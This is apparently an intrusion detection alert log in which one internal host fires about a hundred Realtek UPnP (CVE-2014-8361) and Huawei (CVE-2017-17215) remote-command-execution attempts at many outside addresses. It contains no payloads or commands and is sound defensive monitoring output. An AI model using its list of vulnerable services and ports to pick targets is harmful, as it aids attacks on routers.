ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.92.70.69

Timestamp:	07/20/24-23:02:00.376572
SID:	2831300
Source Port:	51538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 90.31.237.217

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	57980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 178.242.0.237

Timestamp:	07/20/24-23:01:43.903732
SID:	2831300
Source Port:	34390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.146.199.168

Timestamp:	07/20/24-23:01:13.321371
SID:	2027339
Source Port:	49116
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.42.225.58

Timestamp:	07/20/24-23:01:59.593868
SID:	2027339
Source Port:	42564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 153.109.210.254

Timestamp:	07/20/24-23:01:41.347676
SID:	2025132
Source Port:	52512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.90.7.168

Timestamp:	07/20/24-23:01:43.498157
SID:	2027339
Source Port:	56966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.254.9.254

Timestamp:	07/20/24-23:00:59.201033
SID:	2835222
Source Port:	43482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.111.51.3

Timestamp:	07/20/24-23:01:21.931985
SID:	2835222
Source Port:	60650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.202.169.141

Timestamp:	07/20/24-23:01:47.902509
SID:	2831300
Source Port:	50868
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.39.192.146

Timestamp:	07/20/24-23:01:31.978142
SID:	2829579
Source Port:	60578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 126.163.211.196

Timestamp:	07/20/24-23:01:45.827400
SID:	2027339
Source Port:	41062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 206.208.92.27

Timestamp:	07/20/24-23:01:01.371551
SID:	2027339
Source Port:	43256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 128.89.159.185

Timestamp:	07/20/24-23:01:08.668802
SID:	2027339
Source Port:	60212
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 35.100.148.20

Timestamp:	07/20/24-23:01:44.565131
SID:	2831300
Source Port:	54952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.49.153.25

Timestamp:	07/20/24-23:01:41.340201
SID:	2027339
Source Port:	56924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.9.123.124

Timestamp:	07/20/24-23:01:41.370228
SID:	2025132
Source Port:	58642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.219.226.207

Timestamp:	07/20/24-23:01:45.108910
SID:	2027339
Source Port:	36110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.138.8.92

Timestamp:	07/20/24-23:01:43.328792
SID:	2027339
Source Port:	50676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.212.158.191

Timestamp:	07/20/24-23:01:43.167781
SID:	2027339
Source Port:	33470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.104.182.219

Timestamp:	07/20/24-23:01:02.055683
SID:	2829579
Source Port:	51098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 46.35.149.243

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	51412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.69.249.104

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	49142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 131.120.226.33

Timestamp:	07/20/24-23:01:12.805765
SID:	2027339
Source Port:	35282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.150.236.246

Timestamp:	07/20/24-23:01:04.098080
SID:	2835222
Source Port:	56136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.225.20.24

Timestamp:	07/20/24-23:01:53.357099
SID:	2027339
Source Port:	53044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 143.179.199.146

Timestamp:	07/20/24-23:00:57.221145
SID:	2835222
Source Port:	44014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 74.243.121.184

Timestamp:	07/20/24-23:01:51.290014
SID:	2831300
Source Port:	41124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.110.77.22

Timestamp:	07/20/24-23:02:06.083203
SID:	2027339
Source Port:	51036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 5.7.138.144

Timestamp:	07/20/24-23:01:21.928521
SID:	2835222
Source Port:	38596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.203.6

Timestamp:	07/20/24-23:01:00.641498
SID:	2829579
Source Port:	51062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 177.147.32.222

Timestamp:	07/20/24-23:01:42.769238
SID:	2027339
Source Port:	37584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.17.56

Timestamp:	07/20/24-23:01:24.876750
SID:	2829579
Source Port:	36186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.109.141.179

Timestamp:	07/20/24-23:01:32.046652
SID:	2829579
Source Port:	42354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.161.89.111

Timestamp:	07/20/24-23:02:20.005310
SID:	2025132
Source Port:	50682
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 109.80.210.12

Timestamp:	07/20/24-23:01:01.363756
SID:	2025132
Source Port:	45268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.43.247.234

Timestamp:	07/20/24-23:01:27.668073
SID:	2835222
Source Port:	60144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.230.221.168

Timestamp:	07/20/24-23:01:31.328855
SID:	2027339
Source Port:	44950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.52.119

Timestamp:	07/20/24-23:01:31.986571
SID:	2835222
Source Port:	41958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.114.143.158

Timestamp:	07/20/24-23:01:01.630356
SID:	2025132
Source Port:	56840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.191.219.145

Timestamp:	07/20/24-23:01:07.062666
SID:	2835222
Source Port:	36856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.35.64

Timestamp:	07/20/24-23:01:24.883171
SID:	2835222
Source Port:	60342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.136.42.217

Timestamp:	07/20/24-23:01:49.035612
SID:	2027339
Source Port:	59540
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.135.72.216

Timestamp:	07/20/24-23:01:41.474539
SID:	2027339
Source Port:	49394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.118.78

Timestamp:	07/20/24-23:01:14.103467
SID:	2829579
Source Port:	48232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.246.241.121

Timestamp:	07/20/24-23:02:01.280564
SID:	2025132
Source Port:	41996
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.102.32.106

Timestamp:	07/20/24-23:01:43.203681
SID:	2027339
Source Port:	39616
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 48.248.156.6

Timestamp:	07/20/24-23:01:43.185498
SID:	2831300
Source Port:	59604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.137.152.162

Timestamp:	07/20/24-23:02:37.123706
SID:	2027339
Source Port:	36914
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.107.25.12

Timestamp:	07/20/24-23:01:02.504282
SID:	2027339
Source Port:	43928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.126.39.243

Timestamp:	07/20/24-23:01:51.785967
SID:	2027339
Source Port:	37182
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.156.131.187

Timestamp:	07/20/24-23:01:04.098909
SID:	2829579
Source Port:	33448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.229.227.49

Timestamp:	07/20/24-23:01:00.633633
SID:	2835222
Source Port:	37138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.80.144.32

Timestamp:	07/20/24-23:01:10.763630
SID:	2025132
Source Port:	36860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.121.114.198

Timestamp:	07/20/24-23:01:53.494330
SID:	2027339
Source Port:	60812
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.205.8.144

Timestamp:	07/20/24-23:01:43.020186
SID:	2027339
Source Port:	48454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 144.14.202.149

Timestamp:	07/20/24-23:01:49.011895
SID:	2831300
Source Port:	52832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.232.226.131

Timestamp:	07/20/24-23:01:44.670958
SID:	2025132
Source Port:	42826
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.96.36.55

Timestamp:	07/20/24-23:01:46.384516
SID:	2027339
Source Port:	54890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.229.219.185

Timestamp:	07/20/24-23:01:04.982233
SID:	2027339
Source Port:	33924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 130.2.207.228

Timestamp:	07/20/24-23:01:40.355589
SID:	2829579
Source Port:	39320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.112.202.180

Timestamp:	07/20/24-23:01:01.772213
SID:	2027339
Source Port:	57978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.56.34.102

Timestamp:	07/20/24-23:01:57.787786
SID:	2025132
Source Port:	41992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 73.38.236.100

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	45724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.91.68.35

Timestamp:	07/20/24-23:01:43.164529
SID:	2831300
Source Port:	35910
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.83.42

Timestamp:	07/20/24-23:00:59.211046
SID:	2835222
Source Port:	52812
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.174.117.103

Timestamp:	07/20/24-23:01:11.636599
SID:	2829579
Source Port:	38704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.57.233.80

Timestamp:	07/20/24-23:01:08.590937
SID:	2831300
Source Port:	34124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 205.187.52.139

Timestamp:	07/20/24-23:01:08.668802
SID:	2831300
Source Port:	38256
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.133.25.253

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	54302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.126.129.17

Timestamp:	07/20/24-23:01:04.040812
SID:	2835222
Source Port:	49424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 18.7.171.33

Timestamp:	07/20/24-23:01:44.161942
SID:	2025132
Source Port:	47250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.97.134.51

Timestamp:	07/20/24-23:01:47.455724
SID:	2025132
Source Port:	41808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.99.89.219

Timestamp:	07/20/24-23:01:46.092258
SID:	2027339
Source Port:	55428
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.125.8.233

Timestamp:	07/20/24-23:01:10.517854
SID:	2027339
Source Port:	58038
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.53.165.17

Timestamp:	07/20/24-23:01:27.651332
SID:	2829579
Source Port:	57714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.85.114

Timestamp:	07/20/24-23:01:24.898476
SID:	2835222
Source Port:	34552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.253.85.199

Timestamp:	07/20/24-23:01:00.640312
SID:	2835222
Source Port:	35972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.173.234.248

Timestamp:	07/20/24-23:01:45.370481
SID:	2027339
Source Port:	53044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.218.4.185

Timestamp:	07/20/24-23:01:54.489563
SID:	2025132
Source Port:	43520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.61.192

Timestamp:	07/20/24-23:01:14.126869
SID:	2835222
Source Port:	40750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.245.174

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	59300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.241.92.58

Timestamp:	07/20/24-23:01:52.447066
SID:	2025132
Source Port:	55858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.86.17.89

Timestamp:	07/20/24-23:01:02.127340
SID:	2835222
Source Port:	50410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 58.116.31.11

Timestamp:	07/20/24-23:01:04.999060
SID:	2025132
Source Port:	46928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.122.16.215

Timestamp:	07/20/24-23:01:46.663212
SID:	2025132
Source Port:	48812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.238.48.34

Timestamp:	07/20/24-23:01:57.022868
SID:	2025132
Source Port:	34466
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.205.27.15

Timestamp:	07/20/24-23:01:47.644828
SID:	2025132
Source Port:	55828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.75.241.221

Timestamp:	07/20/24-23:01:13.596807
SID:	2025132
Source Port:	36092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.129.124.77

Timestamp:	07/20/24-23:01:57.690792
SID:	2025132
Source Port:	48132
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.96.236.62

Timestamp:	07/20/24-23:01:53.384793
SID:	2027339
Source Port:	46206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.161.137.123

Timestamp:	07/20/24-23:01:04.605795
SID:	2027339
Source Port:	35024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.167.11.188

Timestamp:	07/20/24-23:01:01.892361
SID:	2027339
Source Port:	57358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.24.147.17

Timestamp:	07/20/24-23:01:20.596563
SID:	2027339
Source Port:	52728
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.139.90.241

Timestamp:	07/20/24-23:01:54.153862
SID:	2831300
Source Port:	55358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.123.66.12

Timestamp:	07/20/24-23:01:27.664887
SID:	2829579
Source Port:	32876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.161.24.118

Timestamp:	07/20/24-23:01:41.392528
SID:	2027339
Source Port:	53270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.92.70.69

Timestamp:	07/20/24-23:02:00.376572
SID:	2027339
Source Port:	51538
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.122.84.31

Timestamp:	07/20/24-23:01:31.327808
SID:	2027339
Source Port:	52150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

